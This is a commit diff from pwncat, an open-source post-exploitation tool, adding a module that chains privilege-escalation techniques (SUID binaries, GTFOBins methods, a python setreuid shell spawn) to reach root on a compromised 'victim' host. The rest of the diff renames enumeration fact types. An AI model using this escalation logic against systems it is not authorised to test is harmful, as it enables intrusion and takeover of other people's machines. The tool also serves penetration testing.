1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Initial partially functioning auto escalation

Also renamed some enumeration types and added type-globbing
for the `types` parameter of enumerations (e.g. run enumerate.gather types=system.*)
This commit is contained in:
Caleb Stewart 2020-09-01 15:30:47 -04:00
parent 1706213920
commit 4ecbca9543
14 changed files with 324 additions and 49 deletions

View File

@ -9,12 +9,18 @@ from pwncat.commands.base import CommandDefinition, Complete, Parameter
class Command(CommandDefinition):
"""
Run a shell command on the victim host and display the output.
**NOTE** This must be a non-interactive command. If an interactive command
is run, you will have to use C-c to return to the pwncat prompt and then
C-d to get back to your interactive remote prompt in order to interact
with the remote host again!"""
Run a module. If no module is specified, use the module in the
current context. You can enter a module context with the `use`
command.
Module arguments can be appended to the run command with `variable=value`
syntax. Arguments are type-checked prior to executing, and the results
are displayed to the terminal.
To locate available modules, you can use the `search` command. To
find documentation on individual modules including expected
arguments, you can use the `info` command.
"""
def get_module_choices(self):
yield from [module.name for module in pwncat.modules.match(".*")]
@ -27,8 +33,9 @@ class Command(CommandDefinition):
"module": Parameter(
Complete.CHOICES,
nargs="?",
metavar="MODULE",
choices=get_module_choices,
help="The module path to execute",
help="The module name to execute",
),
"args": Parameter(Complete.NONE, nargs="*", help="Module arguments"),
}
@ -50,10 +57,12 @@ class Command(CommandDefinition):
name, value = arg.split("=")
values[name] = value
pwncat.victim.config.locals.update(values)
# pwncat.victim.config.locals.update(values)
config_values = pwncat.victim.config.locals.copy()
config_values.update(values)
try:
result = pwncat.modules.run(args.module, **pwncat.victim.config.locals)
result = pwncat.modules.run(args.module, **config_values)
pwncat.victim.config.back()
except pwncat.modules.ModuleNotFound:
console.log(f"[red]error[/red]: {args.module}: not found")

View File

@ -118,6 +118,11 @@ def run_decorator(real_run):
def decorator(self, progress=None, **kwargs):
if "exec" in kwargs:
has_exec = True
else:
has_exec = False
# Validate arguments
for key in kwargs:
if key in self.ARGUMENTS:
@ -135,6 +140,9 @@ def run_decorator(real_run):
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
raise MissingArgument(key)
if "exec" in kwargs and kwargs["exec"] and not has_exec:
raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}")
# Save progress reference
self.progress = progress

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python3
from enum import Enum, auto
import fnmatch
import time
import sqlalchemy
@ -78,9 +79,12 @@ class EnumerateModule(BaseModule):
)
if types:
existing_facts = existing_facts.filter(pwncat.db.Fact.type.in_(types))
yield from existing_facts.all()
for fact in existing_facts.all():
for typ in types:
if fnmatch.fnmatch(fact.type, typ):
yield fact
else:
yield from existing_facts.all()
if self.SCHEDULE != Schedule.ALWAYS:
exists = (
@ -109,8 +113,12 @@ class EnumerateModule(BaseModule):
continue
# Don't yield the actual fact if we didn't ask for this type
if types and row.type not in types:
yield Status(data)
if types:
for typ in types:
if fnmatch.fnmatch(row.type, typ):
yield row
else:
yield Status(data)
else:
yield row

View File

@ -30,7 +30,7 @@ class Module(EnumerateModule):
:return:
"""
PROVIDES = ["arch"]
PROVIDES = ["system.arch"]
def enumerate(self):
"""
@ -43,4 +43,4 @@ class Module(EnumerateModule):
except FileNotFoundError:
return
yield "arch", ArchData(result)
yield "system.arch", ArchData(result)

View File

@ -25,7 +25,7 @@ class Module(EnumerateModule):
:return:
"""
PROVIDES = ["aslr"]
PROVIDES = ["system.aslr"]
def enumerate(self):
@ -38,6 +38,6 @@ class Module(EnumerateModule):
value = None
if value is not None:
yield "aslr", ASLRStateData(value)
yield "system.aslr", ASLRStateData(value)
except (FileNotFoundError, PermissionError):
pass
pass

View File

@ -23,29 +23,30 @@ class Module(EnumerateModule):
:return:
"""
PROVIDES = ["container"]
PROVIDES = ["system.container"]
def enumerate(self):
try:
with pwncat.victim.open("/proc/self/cgroup", "r") as filp:
if "docker" in filp.read().lower():
yield "container", ContainerData("docker")
yield "system.container", ContainerData("docker")
return
except (FileNotFoundError, PermissionError):
pass
with pwncat.victim.subprocess(
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', "r"
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null',
"r",
) as pipe:
if pipe.read().strip() != b"":
yield "container", ContainerData("docker")
yield "system.container", ContainerData("docker")
return
try:
with pwncat.victim.open("/proc/1/environ", "r") as filp:
if "container=lxc" in filp.read().lower():
yield "container", ContainerData("lxc")
yield "system.container", ContainerData("lxc")
return
except (FileNotFoundError, PermissionError):
pass
pass

View File

@ -29,13 +29,14 @@ class DistroVersionData:
f"Build ID [green]{self.build_id}[/green]."
)
class Module(EnumerateModule):
"""
Enumerate kernel/OS version information
:return:
"""
PROVIDES = ["distro"]
PROVIDES = ["system.distro"]
def enumerate(self):
@ -69,7 +70,12 @@ class Module(EnumerateModule):
except (PermissionError, FileNotFoundError):
pass
if pretty_name is None and build_id is None and ident is None and version is None:
if (
pretty_name is None
and build_id is None
and ident is None
and version is None
):
return
yield "distro", DistroVersionData(pretty_name, ident, build_id, version)
yield "system.distro", DistroVersionData(pretty_name, ident, build_id, version)

View File

@ -13,13 +13,13 @@ class Module(EnumerateModule):
:return: A generator of hostname facts
"""
PROVIDES = ["hostname"]
PROVIDES = ["network.hostname"]
def enumerate(self):
try:
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
yield "hostname", hostname
yield "network.hostname", hostname
return
except FileNotFoundError:
pass
@ -30,9 +30,9 @@ class Module(EnumerateModule):
for name in hostname:
if "static hostname" in name.lower():
hostname = name.split(": ")[1]
yield "hostname", hostname
yield "network.hostname", hostname
return
except (FileNotFoundError, IndexError):
pass
return
return

View File

@ -7,6 +7,7 @@ import pwncat
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class HostData:
@ -17,13 +18,14 @@ class HostData:
joined_hostnames = ", ".join(self.hostnames)
return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]"
class Module(EnumerateModule):
"""
Enumerate hosts identified in /etc/hosts which are not localhost
:return:
"""
PROVIDES = ["hosts"]
PROVIDES = ["network.hosts"]
def enumerate(self):
@ -45,6 +47,6 @@ class Module(EnumerateModule):
):
continue
address, *hostnames = [e for e in line.split(" ") if e != ""]
yield "hosts", HostData(address, hostnames)
except (PermissionError, FileNotFoundError):
yield "network.hosts", HostData(address, hostnames)
except (PermissionError, FileNotFoundError):
pass

View File

@ -4,20 +4,20 @@ import dataclasses
import pwncat
from pwncat import util
from pwncat.modules import Result
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class InitSystemData:
class InitSystemData(Result):
init: util.Init
version: str
def __str__(self):
@property
def title(self):
return f"Running [blue]{self.init}[/blue]"
@property
def description(self):
return self.version
class Module(EnumerateModule):
"""
@ -25,7 +25,7 @@ class Module(EnumerateModule):
:return:
"""
PROVIDES = ["init"]
PROVIDES = ["system.init"]
def enumerate(self):
@ -74,4 +74,4 @@ class Module(EnumerateModule):
if version == "":
version = None
yield "init", InitSystemData(init, version)
yield "system.init", InitSystemData(init, version)

View File

@ -6,12 +6,13 @@ import pwncat
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class KernelVersionData:
"""
Represents a W.X.Y-Z kernel version where W is the major version,
X is the minor version, Y is the patch, and Z is the ABI.
This explanation came from here:
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
"""
@ -28,12 +29,14 @@ class KernelVersionData:
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
)
class Module(EnumerateModule):
"""
Enumerate kernel/OS version information
:return:
"""
PROVIDES = ["kernel"]
PROVIDES = ["system.kernel"]
def enumerate(self):
@ -62,4 +65,4 @@ class Module(EnumerateModule):
y = y_and_z[0]
z = "-".join(y_and_z[1:])
yield "kernel", KernelVersionData(int(w), int(x), int(y), z)
yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)

View File

@ -21,6 +21,62 @@ class EscalateError(Exception):
""" Indicates an error while attempting some escalation action """
def fix_euid_mismatch(target_uid: int, target_gid: int):
""" Attempt to gain EUID=UID=target_uid.
This is intended to fix EUID/UID mismatches after a escalation.
"""
pythons = [
"python",
"python3",
"python3.6",
"python3.8",
"python3.9",
"python2.7",
"python2.6",
]
for python in pythons:
python_path = pwncat.victim.which(python)
if python_path is not None:
break
if python_path is not None:
command = f"exec {python_path} -c '"
command += f"""import os; os.setreuid({target_uid}, {target_uid}); os.setregid({target_gid}, {target_gid}); os.system("{pwncat.victim.shell}")"""
command += "'\n"
pwncat.victim.process(command)
new_id = pwncat.victim.id
if new_id["uid"]["id"] == target_uid and new_id["gid"]["id"] == target_gid:
return
raise EscalateError("failed to resolve euid/uid mismatch")
def euid_fix(technique_class):
"""
Decorator for Technique classes which may end up with a RUID/EUID
mismatch. This will check the resulting UID before/after to see
if the change was affective and attempt to fix it.
"""
class Wrapper(technique_class):
def exec(self, binary: str):
# Run the real exec
super(Wrapper, self).exec(binary)
# Check id again
ending_id = pwncat.victim.id
# If needed fix the UID
if ending_id["euid"]["id"] != ending_id["uid"]["id"]:
fix_euid_mismatch(ending_id["euid"]["id"], ending_id["egid"]["id"])
return Wrapper
@dataclasses.dataclass
class Technique:
""" Describes a technique possible through some module.
@ -196,6 +252,17 @@ class EscalateChain(Result):
""" Add a link in the chain """
self.chain.append((technique, exit_cmd))
def extend(self, chain: "EscalateChain"):
""" Extend this chain with another chain """
self.chain.extend(chain.chain)
def pop(self):
""" Exit and remove the last link in the chain """
_, exit_cmd = self.chain.pop()
pwncat.victim.client.send(exit_cmd)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
def unwrap(self):
""" Exit each shell in the chain with the provided exit script """
@ -204,6 +271,9 @@ class EscalateChain(Result):
# Send the exit command
pwncat.victim.client.send(exit_cmd)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
@dataclasses.dataclass
class EscalateResult(Result):
@ -238,7 +308,7 @@ class EscalateResult(Result):
This allows you to enumerate multiple modules and utilize all their
techniques together to perform escalation. """
for key, value in result.techniques:
for key, value in result.techniques.items():
if key not in self.techniques:
self.techniques[key] = value
else:
@ -328,6 +398,7 @@ class EscalateResult(Result):
original_user = pwncat.victim.current_user
original_id = pwncat.victim.id
target_user = pwncat.victim.users[user]
task = progress.add_task("", module="escalating", status="...")
if user in self.techniques:
@ -358,7 +429,9 @@ class EscalateResult(Result):
# Check that the escalation succeeded
new_id = pwncat.victim.id
if new_id["euid"] == original_id["euid"]:
if new_id["euid"]["id"] != target_user.id:
pwncat.victim.client.send(exit_cmd.encode("utf-8"))
pwncat.victim.flush_output(some=False)
continue
return EscalateChain(
@ -492,6 +565,9 @@ class EscalateResult(Result):
# The test worked! Run the real escalate command
pwncat.victim.process(command)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
return EscalateChain(original_user.name, [(used_tech, "exit")])
raise EscalateError(f"exec as {user} not possible")

View File

@ -0,0 +1,152 @@
#!/usr/bin/env python3
from pwncat.modules import (
BaseModule,
Bool,
Result,
Status,
Argument,
ArgumentFormatError,
MissingArgument,
)
from pwncat.modules.escalate import (
EscalateChain,
EscalateResult,
EscalateModule,
FileContentsResult,
EscalateError,
)
import pwncat.modules
class Module(BaseModule):
"""
Attempt to automatically escalate to the given user through
any path available. This may cause escalation through multiple
users.
"""
ARGUMENTS = {
"user": Argument(str, default="root", help="The target user for escalation"),
"exec": Argument(
Bool, default=False, help="Attempt to execute a shell as the given user"
),
"read": Argument(
Bool, default=False, help="Attempt to read a file as the given user"
),
"write": Argument(
Bool, default=False, help="Attempt to write a file as the given user"
),
"shell": Argument(
str, default="current", help="The shell to use for escalation"
),
"path": Argument(
str, default=None, help="The path to the file to be read/written"
),
"data": Argument(str, default=None, help="The data to be written"),
}
COLLAPSE_RESULT = True
def run(self, user, exec, write, read, path, data, shell):
whole_chain = EscalateChain(None, chain=[])
tried_users = []
result_list = []
target_user = user
if (exec + write + read) > 1:
raise pwncat.modules.ArgumentFormatError(
"only one of exec/write/read may be used"
)
if (read or write) and path is None:
raise ArgumentFormatError("file path not specified")
if write and data is None:
raise ArgumentFormatError("file content not specified")
if shell == "current":
shell = pwncat.victim.shell
# Collect escalation options
result = EscalateResult(techniques={})
for module in pwncat.modules.match(r"escalate\..*", base=EscalateModule):
try:
result.extend(module.run(progress=self.progress))
except (ArgumentFormatError, MissingArgument):
continue
while True:
if exec:
chain = result.exec(target_user, shell, self.progress)
whole_chain.extend(chain)
yield whole_chain
return
elif write:
result.write(target_user, path, data, self.progress)
whole_chain.unwrap()
return
elif read:
filp = result.read(target_user, path, self.progress)
original_close = filp.close
# We need to call unwrap after reading the data
def close_wrapper():
original_close()
whole_chain.unwrap()
filp.close = close_wrapper
yield FileContentsResult(path, filp)
return
else:
# We just wanted to list all techniques from all modules
yield result
return
for user in result.techniques.keys():
# Ignore already tried users
if user in tried_users:
continue
# Mark this user as tried
tried_users.append(user)
try:
# Attempt escalation
chain = result.exec(user, shell, self.progress)
# Extend the chain with this new chain
whole_chain.extend(chain)
# Save our current results in the list
result_list.append(result)
# Get new results for this user
result = EscalateResult(techniques={})
for module in pwncat.modules.match(
r"escalate\..*", base=EscalateModule
):
try:
result.extend(module.run(progress=self.progress))
except (
ArgumentFormatError,
MissingArgument,
):
continue
# Try again
break
except EscalateError:
continue
else:
if not result_list:
# There are no more results to try...
raise EscalateError("no escalation path found")
# The loop was exhausted. This user didn't work.
# Go back to the previous step, but don't try this user
whole_chain.pop()
result = result_list.pop()

View File

@ -2,7 +2,17 @@
import pwncat
from pwncat.gtfobins import Capability, Stream, BinaryNotFound
from pwncat.modules.escalate import EscalateModule, EscalateError, GTFOTechnique
from pwncat.modules.escalate import (
EscalateModule,
EscalateError,
GTFOTechnique,
euid_fix,
)
@euid_fix
class SUIDTechnique(GTFOTechnique):
""" Same as GTFO Technique but with EUID fix decorator """
class Module(EscalateModule):
@ -27,7 +37,7 @@ class Module(EscalateModule):
for method in binary.iter_methods(
fact.data.path, Capability.ALL, Stream.ANY
):
yield GTFOTechnique(fact.data.owner.name, self, method, suid=True)
yield SUIDTechnique(fact.data.owner.name, self, method, suid=True)
def human_name(self, tech: "Technique"):
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"